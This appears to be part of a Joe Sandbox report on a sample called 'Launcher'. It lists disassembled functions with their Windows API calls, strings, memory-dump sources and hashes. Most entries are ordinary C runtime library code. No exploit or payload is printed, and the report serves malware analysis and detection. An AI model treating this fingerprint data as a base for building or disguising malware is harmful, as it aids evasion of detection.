String ID: AcquireSRWLockExclusive$CloseThreadpoolTimer$CloseThreadpoolWait$CloseThreadpoolWork$CompareStringEx$CreateEventExW$CreateSemaphoreExW$CreateSemaphoreW$CreateSymbolicLinkW$CreateThreadpoolTimer$CreateThreadpoolWait$CreateThreadpoolWork$FlsAlloc$FlsFree$FlsGetValue$FlsSetValue$FlushProcessWriteBuffers$FreeLibraryWhenCallbackReturns$GetCurrentPackageId$GetCurrentProcessorNumber$GetFileInformationByHandleEx$GetLocaleInfoEx$GetSystemTimePreciseAsFileTime$GetTickCount64$InitOnceExecuteOnce$InitializeConditionVariable$InitializeCriticalSectionEx$InitializeSRWLock$LCMapStringEx$ReleaseSRWLockExclusive$SetFileInformationByHandle$SetThreadpoolTimer$SetThreadpoolWait$SleepConditionVariableCS$SleepConditionVariableSRW$SubmitThreadpoolWork$TryAcquireSRWLockExclusive$WaitForThreadpoolTimerCallbacks$WakeAllConditionVariable$WakeConditionVariable$kernel32.dll
API String ID: 667068680-295688737
Opcode ID: d973fabfa58ea5cdc358302dad741e648ba755af2095f2051f33ac414267a3d0
Instruction ID: 5b8257fa02331ddbd858a0cff9ca0d1b3e66d3bbc0981dfcb68a9008b7327884
Opcode Fuzzy Hash: d973fabfa58ea5cdc358302dad741e648ba755af2095f2051f33ac414267a3d0
Instruction Fuzzy Hash: 5C615871962350AFEB096FF5BC0D8963BE8AB0E7033054467F501D31A1DBF466648F68

Function 0024E0F3 Relevance: 14.3, APIs: 5, Strings: 3, Instructions: 303COMMONLIBRARYCODE

Download Yara Rule

APIs

type_info::operator==.LIBVCRUNTIME ref: 0024E212
___TypeMatch.LIBVCRUNTIME ref: 0024E320
CatchIt.LIBVCRUNTIME ref: 0024E371
_UnwindNestedFrames.LIBCMT ref: 0024E472
CallUnexpected.LIBVCRUNTIME ref: 0024E48D

Strings

csm, xrefs: 0024E130
csm, xrefs: 0024E19D
csm, xrefs: 0024E249

Memory Dump Source

Source File: 00000003.00000002.2300473417.0000000000231000.00000020.00000001.01000000.00000003.sdmp, Offset: 00230000, based on PE: true

Associated: 00000003.00000002.2300448136.0000000000230000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2300510676.0000000000258000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2300534969.0000000000260000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2300562910.0000000000264000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2300596949.0000000000266000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_230000_Launcher.jbxd

Similarity

API ID: CallCatchFramesMatchNestedTypeUnexpectedUnwindtype_info::operator==
String ID: csm$csm$csm
API String ID: 4119006552-393685449
Opcode ID: 89bdc6e1b9ce21112d34b15df9127aff7eb6a94dbaa714e063140272b279ac17
Instruction ID: 4f25a9ba881ee55c50086e0ab4af624d189658037e11b5a1ab2a09bc2ac49722
Opcode Fuzzy Hash: 89bdc6e1b9ce21112d34b15df9127aff7eb6a94dbaa714e063140272b279ac17
Instruction Fuzzy Hash: F8B15B71C2021AEFDF1DDFA4C8819AEBBB9FF14310B164199E8156B212D770EA61CF91

Function 00255328 Relevance: 12.2, APIs: 8, Instructions: 248COMMONLIBRARYCODE

Download Yara Rule

APIs

GetCPInfo.KERNEL32(?,?,?,7FFFFFFF,?,00255313,?,?,?,?,?,?,?,?,?,?), ref: 002553CE
__alloca_probe_16.LIBCMT ref: 00255489
__alloca_probe_16.LIBCMT ref: 00255518
__freea.LIBCMT ref: 00255563
__freea.LIBCMT ref: 00255569
__freea.LIBCMT ref: 0025559F
__freea.LIBCMT ref: 002555A5
__freea.LIBCMT ref: 002555B5

Memory Dump Source

Source File: 00000003.00000002.2300473417.0000000000231000.00000020.00000001.01000000.00000003.sdmp, Offset: 00230000, based on PE: true

Associated: 00000003.00000002.2300448136.0000000000230000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2300510676.0000000000258000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2300534969.0000000000260000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2300562910.0000000000264000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2300596949.0000000000266000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_230000_Launcher.jbxd

Similarity

API ID: __freea$__alloca_probe_16$Info
String ID:
API String ID: 127012223-0
Opcode ID: b5857002bd83cab6eca016443650febf3e01eb7955d379ea44f346ba75808c43
Instruction ID: 3b3a2d71b746fbbd8d08fb114caf6aae75e32bf127da444333c8fba437cf58f8
Opcode Fuzzy Hash: b5857002bd83cab6eca016443650febf3e01eb7955d379ea44f346ba75808c43
Instruction Fuzzy Hash: 8E716A72920A26ABDF219F548CA1FAF77BA9F04313F680015EC05A7241F770DC688B9C

Function 0024B150 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 122COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 0024B187
___except_validate_context_record.LIBVCRUNTIME ref: 0024B18F
_ValidateLocalCookies.LIBCMT ref: 0024B218
__IsNonwritableInCurrentImage.LIBCMT ref: 0024B243
_ValidateLocalCookies.LIBCMT ref: 0024B298

Strings

csm, xrefs: 0024B22D

Memory Dump Source

Source File: 00000003.00000002.2300473417.0000000000231000.00000020.00000001.01000000.00000003.sdmp, Offset: 00230000, based on PE: true

Associated: 00000003.00000002.2300448136.0000000000230000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2300510676.0000000000258000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2300534969.0000000000260000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2300562910.0000000000264000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2300596949.0000000000266000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_230000_Launcher.jbxd

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: 9ea397c5b22dadf32c931760ea4ba5b3eeb4628c5d5a51706872386a277d9567
Instruction ID: a8d4e8c3af0d4f05676669fb5a35c8aa10af891cb80f6688eb36648ef88d28c6
Opcode Fuzzy Hash: 9ea397c5b22dadf32c931760ea4ba5b3eeb4628c5d5a51706872386a277d9567
Instruction Fuzzy Hash: 0941E634E20219ABCF19DF68C885A9E7BB4FF05324F148455EC19AB392D771EA21CF91

Function 0024EDF3 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 74COMMONLIBRARYCODE

Download Yara Rule

APIs

FreeLibrary.KERNEL32(00000000,?,0024EF02,?,?,00000000,00000000,?,?,0024EC0B,00000022,FlsSetValue,00258DDC,00258DE4,00000000), ref: 0024EEB4

Strings

api-ms-, xrefs: 0024EE4A
ext-ms-, xrefs: 0024EE5E

Memory Dump Source

Source File: 00000003.00000002.2300473417.0000000000231000.00000020.00000001.01000000.00000003.sdmp, Offset: 00230000, based on PE: true

Associated: 00000003.00000002.2300448136.0000000000230000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2300510676.0000000000258000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2300534969.0000000000260000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2300562910.0000000000264000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2300596949.0000000000266000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_230000_Launcher.jbxd

Similarity

API ID: FreeLibrary
String ID: api-ms-$ext-ms-
API String ID: 3664257935-537541572
Opcode ID: 03d53581ee8e0e20fec943488ac44efc1ea25bfb425432913cd829a8508c9079
Instruction ID: 63c3eb3eeba15575c427e31f41cd5e4570e8868c18c30896457c82b7a9de42e4
Opcode Fuzzy Hash: 03d53581ee8e0e20fec943488ac44efc1ea25bfb425432913cd829a8508c9079
Instruction Fuzzy Hash: B621E731B21212ABEF259F20EC49A6A3769BF517B1B270111ED05E7290DB70ED20C6D4

Function 0024D85A Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,0024D851,0024AF2D,0024A5C4), ref: 0024D868
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 0024D876
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 0024D88F
SetLastError.KERNEL32(00000000,0024D851,0024AF2D,0024A5C4), ref: 0024D8E1

Memory Dump Source

Source File: 00000003.00000002.2300473417.0000000000231000.00000020.00000001.01000000.00000003.sdmp, Offset: 00230000, based on PE: true

Associated: 00000003.00000002.2300448136.0000000000230000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2300510676.0000000000258000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2300534969.0000000000260000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2300562910.0000000000264000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2300596949.0000000000266000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_230000_Launcher.jbxd

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: 80a1b6b98eacf487a2435dc517a78eebdc2a7d1a55e78a951d8f2582a0f3b84e
Instruction ID: 35e8a62abee9f7ada0ed02c6397c25bc9b1f3c77f3b59234ff0a4ec2d3c70c38
Opcode Fuzzy Hash: 80a1b6b98eacf487a2435dc517a78eebdc2a7d1a55e78a951d8f2582a0f3b84e
Instruction Fuzzy Hash: 6E01753223D7125EE6181F75BCC9A3F2B58DF427B57200229F510550E1EE618C756A84

Function 0024BF74 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 42libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,BB40E64E,?,?,00000000,0025760B,000000FF,?,0024C035,?,?,0024C0D1,00000000), ref: 0024BFA9
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 0024BFBB
FreeLibrary.KERNEL32(00000000,?,00000000,0025760B,000000FF,?,0024C035,?,?,0024C0D1,00000000), ref: 0024BFDD

Strings

CorExitProcess, xrefs: 0024BFB3
mscoree.dll, xrefs: 0024BFA2

Memory Dump Source

Source File: 00000003.00000002.2300473417.0000000000231000.00000020.00000001.01000000.00000003.sdmp, Offset: 00230000, based on PE: true

Associated: 00000003.00000002.2300448136.0000000000230000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2300510676.0000000000258000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2300534969.0000000000260000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2300562910.0000000000264000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2300596949.0000000000266000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_230000_Launcher.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 2dea49e25f10c28c8200b08be155c03bc2dbdb2ed6cfbdd7ee686686c2a0e5aa
Instruction ID: a4cc777649e287f6b8a6c3a6cb47fc47f9d6e0af4969ae93cb0da869a6bb8d0e
Opcode Fuzzy Hash: 2dea49e25f10c28c8200b08be155c03bc2dbdb2ed6cfbdd7ee686686c2a0e5aa
Instruction Fuzzy Hash: 0B01A231A54719AFDB068F54EC09FAEBBB8FB04B15F054125F816A2A90DB749904CE94

Function 00252F3D Relevance: 7.7, APIs: 5, Instructions: 197COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 00252FC2
__alloca_probe_16.LIBCMT ref: 0025308B
__freea.LIBCMT ref: 002530F2

Part of subcall function 00250C65: HeapAlloc.KERNEL32(00000000,?,-A3400188,?,00249200,?,?,002467E7,?,00246199), ref: 00250C97

__freea.LIBCMT ref: 00253105
__freea.LIBCMT ref: 00253112

Memory Dump Source

Source File: 00000003.00000002.2300473417.0000000000231000.00000020.00000001.01000000.00000003.sdmp, Offset: 00230000, based on PE: true

Associated: 00000003.00000002.2300448136.0000000000230000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2300510676.0000000000258000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2300534969.0000000000260000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2300562910.0000000000264000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2300596949.0000000000266000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_230000_Launcher.jbxd

Similarity

API ID: __freea$__alloca_probe_16$AllocHeap
String ID:
API String ID: 1096550386-0
Opcode ID: 67031a59e6a873cf94c7352b67d233989ef1dd768e03ece3ad1763570fecbdf8
Instruction ID: fa118cabc426f0cc2674c68755fbc21000f311d98e44259a49cf93a489b0e573
Opcode Fuzzy Hash: 67031a59e6a873cf94c7352b67d233989ef1dd768e03ece3ad1763570fecbdf8
Instruction Fuzzy Hash: 2451DB716206076FDF21DF70CC86DBB7AA9EF44792F154129FC08D6140EA70DE789A68

Function 0024E518 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 114COMMONLIBRARYCODE

Download Yara Rule

APIs

EncodePointer.KERNEL32(00000000,00000000,00000000,?,?,?,?,?,?,0024E41E,?,?,00000000,00000000,00000000,?), ref: 0024E53D
CatchIt.LIBVCRUNTIME ref: 0024E623

Strings

MOC, xrefs: 0024E54F
RCC, xrefs: 0024E557

Memory Dump Source

Source File: 00000003.00000002.2300473417.0000000000231000.00000020.00000001.01000000.00000003.sdmp, Offset: 00230000, based on PE: true

Associated: 00000003.00000002.2300448136.0000000000230000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2300510676.0000000000258000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2300534969.0000000000260000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2300562910.0000000000264000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2300596949.0000000000266000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_230000_Launcher.jbxd

Similarity

API ID: CatchEncodePointer
String ID: MOC$RCC
API String ID: 1435073870-2084237596
Opcode ID: 96290fa6be65fafde9410d0ff9c17fb1705ad7e06f34aa49f12f5bac5ad6bf86
Instruction ID: bdcc3710ae00203cad191a01be62300b8e984b7b8ab37c48dc300580d6848b7e
Opcode Fuzzy Hash: 96290fa6be65fafde9410d0ff9c17fb1705ad7e06f34aa49f12f5bac5ad6bf86
Instruction Fuzzy Hash: 65419E7191010AAFDF1ADF98CC81AEE7BB9FF58304F1A8059F904A7211E335AA60DF51

Function 00427F9D Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 60fileCOMMON

Download Yara Rule

APIs

CopyFileW.KERNEL32(?,B9F4BBC1,00000000), ref: 0042805E

Strings

7#v, xrefs: 0042805E
*, xrefs: 00427FB8
*, xrefs: 00427FA7

Memory Dump Source

Source File: 00000003.00000002.2300644517.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Launcher.jbxd

Similarity

API ID: CopyFile
String ID: *$*$7#v
API String ID: 1304948518-2346367865
Opcode ID: 5213059e2cf1ff3bd85a8ec57feb20daaa267110ed64e0b077f9cce5909a7b61
Instruction ID: 21e9a9041225b6c5ceb73ac95c0eae95b8f8785af04b964e1be19c5000155ac1
Opcode Fuzzy Hash: 5213059e2cf1ff3bd85a8ec57feb20daaa267110ed64e0b077f9cce5909a7b61
Instruction Fuzzy Hash: 7211B1B85183449FE340DF24A84571FBBE4BB9A304F544A2DF5C69A281E7B5C20A8B1B

Function 00252C7E Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 27libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(00000000,00000000,00000800,?,00252D1A,00000000,?,00261CD0,?,?,?,00252C51,00000004,InitializeCriticalSectionEx,002596F8,00259700), ref: 00252C8B
GetLastError.KERNEL32(?,00252D1A,00000000,?,00261CD0,?,?,?,00252C51,00000004,InitializeCriticalSectionEx,002596F8,00259700,00000000,?,0024E73C), ref: 00252C95
LoadLibraryExW.KERNEL32(00000000,00000000,00000000), ref: 00252CBD

Strings

api-ms-, xrefs: 00252CA2

Memory Dump Source

Source File: 00000003.00000002.2300473417.0000000000231000.00000020.00000001.01000000.00000003.sdmp, Offset: 00230000, based on PE: true

Associated: 00000003.00000002.2300448136.0000000000230000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2300510676.0000000000258000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2300534969.0000000000260000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2300562910.0000000000264000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2300596949.0000000000266000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_230000_Launcher.jbxd

Similarity

API ID: LibraryLoad$ErrorLast
String ID: api-ms-
API String ID: 3177248105-2084034818
Opcode ID: fc4fbb88cdedd620c212fb2565ec905cd23d1c7346a0778ee84474ef0df60739
Instruction ID: d6ebdbb95cc9d3c9adf02d7231c8e7d45b9f5d42d99e3047ee5cf4fc4ff53523
Opcode Fuzzy Hash: fc4fbb88cdedd620c212fb2565ec905cd23d1c7346a0778ee84474ef0df60739
Instruction Fuzzy Hash: 93E01230250305FAEF201F60ED0EB6C3B59AB01B57F554421FD0DB41E1E7719968995D

Function 00253608 Relevance: 6.3, APIs: 4, Instructions: 333fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32(BB40E64E,00000000,00000000,?), ref: 0025366B

Part of subcall function 00252151: WideCharToMultiByte.KERNEL32(?,00000000,?,00000000,00000000,00000000,000000FF,?,?,00000000,?,?,0024D7D1,?,00000000,?), ref: 002521B2

WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 002538BD
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 00253903
GetLastError.KERNEL32 ref: 002539A6

Memory Dump Source

Source File: 00000003.00000002.2300473417.0000000000231000.00000020.00000001.01000000.00000003.sdmp, Offset: 00230000, based on PE: true

Associated: 00000003.00000002.2300448136.0000000000230000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2300510676.0000000000258000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2300534969.0000000000260000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2300562910.0000000000264000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2300596949.0000000000266000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_230000_Launcher.jbxd

Similarity

API ID: FileWrite$ByteCharConsoleErrorLastMultiOutputWide
String ID:
API String ID: 2112829910-0
Opcode ID: 201861cd6bf23e8de41a7bb7b5e80a5f307263eec3a2196dfe30e387ff3ff11e
Instruction ID: fb335ddc0cb2ffca9109233d388d7c2e5384682f45e5f45da7f9c0893cdd9d99
Opcode Fuzzy Hash: 201861cd6bf23e8de41a7bb7b5e80a5f307263eec3a2196dfe30e387ff3ff11e
Instruction Fuzzy Hash: E3D1BBB1D102489FCF15CFA8C884AADBBB8FF48311F28412AE816EB351D770AA55CF54

Function 0024DF1C Relevance: 6.2, APIs: 4, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 0024DFE3
___AdjustPointer.LIBCMT ref: 0024E006
___AdjustPointer.LIBCMT ref: 0024E0A2

Memory Dump Source

Source File: 00000003.00000002.2300473417.0000000000231000.00000020.00000001.01000000.00000003.sdmp, Offset: 00230000, based on PE: true

Associated: 00000003.00000002.2300448136.0000000000230000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2300510676.0000000000258000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2300534969.0000000000260000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2300562910.0000000000264000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2300596949.0000000000266000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_230000_Launcher.jbxd

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: b9a84d0abedf36b0b926937b25d07ead403e30982e2534136c9ad853967060f1
Instruction ID: a92c3dea84bbd2200dfaae00011cbf8b23f87f7b9096b57b1cc6f93925755fee
Opcode Fuzzy Hash: b9a84d0abedf36b0b926937b25d07ead403e30982e2534136c9ad853967060f1
Instruction Fuzzy Hash: 1351B171624202AFFF2D9F10D841BBA77A4FF00300F264429E9166B691E7B2EC68CB51

Function 002515D8 Relevance: 6.1, APIs: 4, Instructions: 82COMMON

Download Yara Rule

APIs

Part of subcall function 00252151: WideCharToMultiByte.KERNEL32(?,00000000,?,00000000,00000000,00000000,000000FF,?,?,00000000,?,?,0024D7D1,?,00000000,?), ref: 002521B2

GetLastError.KERNEL32(?,?,?,00000000,00000000,?,0025197E,?,?,?,00000000), ref: 0025163C
__dosmaperr.LIBCMT ref: 00251643
GetLastError.KERNEL32(00000000,0025197E,?,?,00000000,?,?,?,00000000,00000000,?,0025197E,?,?,?,00000000), ref: 0025167D
__dosmaperr.LIBCMT ref: 00251684

Memory Dump Source

Source File: 00000003.00000002.2300473417.0000000000231000.00000020.00000001.01000000.00000003.sdmp, Offset: 00230000, based on PE: true

Associated: 00000003.00000002.2300448136.0000000000230000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2300510676.0000000000258000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2300534969.0000000000260000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2300562910.0000000000264000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2300596949.0000000000266000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_230000_Launcher.jbxd

Similarity

API ID: ErrorLast__dosmaperr$ByteCharMultiWide
String ID:
API String ID: 1913693674-0
Opcode ID: de512c0ad8365e933352324ccdca09f85817dacc7445c9dbee63e34a66561cc5
Instruction ID: 5f6acfc630fc0401976f7756cd3c7adac9577ceec96e1ed7c98a06489e4db1bf
Opcode Fuzzy Hash: de512c0ad8365e933352324ccdca09f85817dacc7445c9dbee63e34a66561cc5
Instruction Fuzzy Hash: CE21C571620206AFDB24AF619C81E7AB7ADEF043667148518FC2997151E770EC388F98

Function 00251B74 Relevance: 6.1, APIs: 4, Instructions: 79COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2300473417.0000000000231000.00000020.00000001.01000000.00000003.sdmp, Offset: 00230000, based on PE: true

Associated: 00000003.00000002.2300448136.0000000000230000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2300510676.0000000000258000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2300534969.0000000000260000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2300562910.0000000000264000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2300596949.0000000000266000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_230000_Launcher.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d9037501c78a2a2b4f55a72e737f76c0a0115f73dae90b8618e8c7a8233d3c8e
Instruction ID: 0492cafba340c34a7fb40d60e4d9beec81738385dff938eaad650a7068dcce02
Opcode Fuzzy Hash: d9037501c78a2a2b4f55a72e737f76c0a0115f73dae90b8618e8c7a8233d3c8e
Instruction Fuzzy Hash: 8821C07163020AAFCB20AF65DC81E6BB7ADAF0436B7104519FC1597151EB31EC388FA9

Function 0025224D Relevance: 6.1, APIs: 4, Instructions: 74COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32 ref: 00252255

Part of subcall function 00252151: WideCharToMultiByte.KERNEL32(?,00000000,?,00000000,00000000,00000000,000000FF,?,?,00000000,?,?,0024D7D1,?,00000000,?), ref: 002521B2

FreeEnvironmentStringsW.KERNEL32(00000000), ref: 0025228D
FreeEnvironmentStringsW.KERNEL32(00000000), ref: 002522AD

Memory Dump Source

Source File: 00000003.00000002.2300473417.0000000000231000.00000020.00000001.01000000.00000003.sdmp, Offset: 00230000, based on PE: true

Associated: 00000003.00000002.2300448136.0000000000230000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2300510676.0000000000258000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2300534969.0000000000260000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2300562910.0000000000264000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2300596949.0000000000266000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_230000_Launcher.jbxd

Similarity

API ID: EnvironmentStrings$Free$ByteCharMultiWide
String ID:
API String ID: 158306478-0
Opcode ID: ea0ed25fc7fb39fc1f91857f98b416470e6826a7598835fda760c5936cddc84a
Instruction ID: 34f5fea08f2dd9389c5a972b7373d43d63b75efb4ca560e0c8482b5864b3407b
Opcode Fuzzy Hash: ea0ed25fc7fb39fc1f91857f98b416470e6826a7598835fda760c5936cddc84a
Instruction Fuzzy Hash: 9F118EB5631615BB6B112B716CCDC7F295CDE56397B110025FC01E1181FA708E2E99BD

Function 002557E0 Relevance: 6.0, APIs: 4, Instructions: 29COMMONLIBRARYCODE

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(00000000,?,00000000,00000000,00000000,?,00254F51,00000000,00000001,00000000,?,?,002539FA,?,00000000,00000000), ref: 002557F7
GetLastError.KERNEL32(?,00254F51,00000000,00000001,00000000,?,?,002539FA,?,00000000,00000000,?,?,?,00253340,00000000), ref: 00255803

Part of subcall function 00255860: CloseHandle.KERNEL32(FFFFFFFE,00255813,?,00254F51,00000000,00000001,00000000,?,?,002539FA,?,00000000,00000000,?,?), ref: 00255870

___initconout.LIBCMT ref: 00255813

Part of subcall function 00255835: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,002557D1,00254F3E,?,?,002539FA,?,00000000,00000000,?), ref: 00255848

WriteConsoleW.KERNEL32(00000000,?,00000000,00000000,?,00254F51,00000000,00000001,00000000,?,?,002539FA,?,00000000,00000000,?), ref: 00255828

Memory Dump Source

Source File: 00000003.00000002.2300473417.0000000000231000.00000020.00000001.01000000.00000003.sdmp, Offset: 00230000, based on PE: true

Associated: 00000003.00000002.2300448136.0000000000230000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2300510676.0000000000258000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2300534969.0000000000260000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2300562910.0000000000264000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2300596949.0000000000266000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_230000_Launcher.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: 1bd55e134945fdec1ac0eae1aba38c98fd4896d86c72341426006c025b9c56c0
Instruction ID: 61dd0dc1c605e0918ffd4b49df069076939a96917b35eeffe3535e4b72ce0bd9
Opcode Fuzzy Hash: 1bd55e134945fdec1ac0eae1aba38c98fd4896d86c72341426006c025b9c56c0
Instruction Fuzzy Hash: BCF01C36520529BBCF222F91EC0C98A3F26EB083A2F068011FE0885120D6729964EB99

Function 0024DD8C Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 93COMMONLIBRARYCODE

Download Yara Rule

APIs

___except_validate_context_record.LIBVCRUNTIME ref: 0024DD95

Strings

csm, xrefs: 0024DE28
csm, xrefs: 0024DDB7

Memory Dump Source

Source File: 00000003.00000002.2300473417.0000000000231000.00000020.00000001.01000000.00000003.sdmp, Offset: 00230000, based on PE: true

Associated: 00000003.00000002.2300448136.0000000000230000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2300510676.0000000000258000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2300534969.0000000000260000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2300562910.0000000000264000.00000002.00000001.01000000.00000003.sdmpDownload File
